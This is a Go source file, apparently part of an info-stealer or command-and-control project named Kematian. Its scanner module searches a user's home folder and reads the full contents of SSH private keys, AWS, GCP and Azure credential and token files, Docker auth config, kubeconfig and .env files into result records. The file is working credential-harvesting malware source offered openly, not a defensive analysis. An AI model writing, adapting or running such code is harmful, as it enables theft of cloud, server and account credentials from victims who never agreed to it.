Files
kematianc2/Kematian-Standalone/native/recovery/scanner/keys.go
T
2026-08-27 11:23:01 -06:00

314 lines
7.1 KiB
Go

package scanner
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
const maxKeyFileSize = 512 * 1024 // 512KB
func gcpConfigDir(home string) string {
if runtime.GOOS == "windows" {
return filepath.Join(home, "AppData", "Roaming", "gcloud")
}
return filepath.Join(home, ".config", "gcloud")
}
func ScanKeys() []types.KeyResult {
var results []types.KeyResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
results = append(results, scanSSHKeys(home)...)
results = append(results, scanAWSCredentials(home)...)
results = append(results, scanGCPCredentials(home)...)
results = append(results, scanAzureCredentials(home)...)
results = append(results, scanDockerCredentials(home)...)
results = append(results, scanKubeConfig(home)...)
results = append(results, scanEnvFiles(home)...)
return results
}
func scanSSHKeys(home string) []types.KeyResult {
sshDir := filepath.Join(home, ".ssh")
entries, err := os.ReadDir(sshDir)
if err != nil {
return nil
}
var results []types.KeyResult
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
continue
}
path := filepath.Join(sshDir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if isPrivateKey(content) {
results = append(results, types.KeyResult{
Type: "ssh",
Name: name,
Path: path,
Size: info.Size(),
Content: content,
})
}
}
configPath := filepath.Join(sshDir, "config")
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
results = append(results, types.KeyResult{
Type: "ssh_config",
Name: "config",
Path: configPath,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
func isPrivateKey(content string) bool {
markers := []string{
"-----BEGIN OPENSSH PRIVATE KEY-----",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
"PuTTY-User-Key-File-",
}
for _, m := range markers {
if strings.Contains(content, m) {
return true
}
}
return false
}
func scanAWSCredentials(home string) []types.KeyResult {
var results []types.KeyResult
awsDir := filepath.Join(home, ".aws")
for _, name := range []string{"credentials", "config"} {
path := filepath.Join(awsDir, name)
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "aws",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanGCPCredentials(home string) []types.KeyResult {
var results []types.KeyResult
gcpDir := gcpConfigDir(home)
candidates := []string{
filepath.Join(gcpDir, "application_default_credentials.json"),
filepath.Join(gcpDir, "credentials.db"),
filepath.Join(gcpDir, "properties"),
}
for _, dir := range []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
} {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
candidates = append(candidates, filepath.Join(dir, name))
}
}
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
results = append(results, types.KeyResult{
Type: "gcp",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: content,
})
}
}
return results
}
func scanAzureCredentials(home string) []types.KeyResult {
var results []types.KeyResult
azureDir := filepath.Join(home, ".azure")
candidates := []string{
filepath.Join(azureDir, "accessTokens.json"),
filepath.Join(azureDir, "azureProfile.json"),
filepath.Join(azureDir, "msal_token_cache.json"),
filepath.Join(azureDir, "service_principal_entries.json"),
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "azure",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanDockerCredentials(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".docker", "config.json")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
if strings.Contains(string(data), "auths") {
results = append(results, types.KeyResult{
Type: "docker",
Name: "config.json",
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanKubeConfig(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".kube", "config")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
results = append(results, types.KeyResult{
Type: "kubernetes",
Name: "config",
Path: path,
Size: info.Size(),
Content: string(data),
})
return results
}
func scanEnvFiles(home string) []types.KeyResult {
var results []types.KeyResult
searchDirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range searchDirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name != ".env" && !strings.HasPrefix(name, ".env.") {
continue
}
path := filepath.Join(dir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "env",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}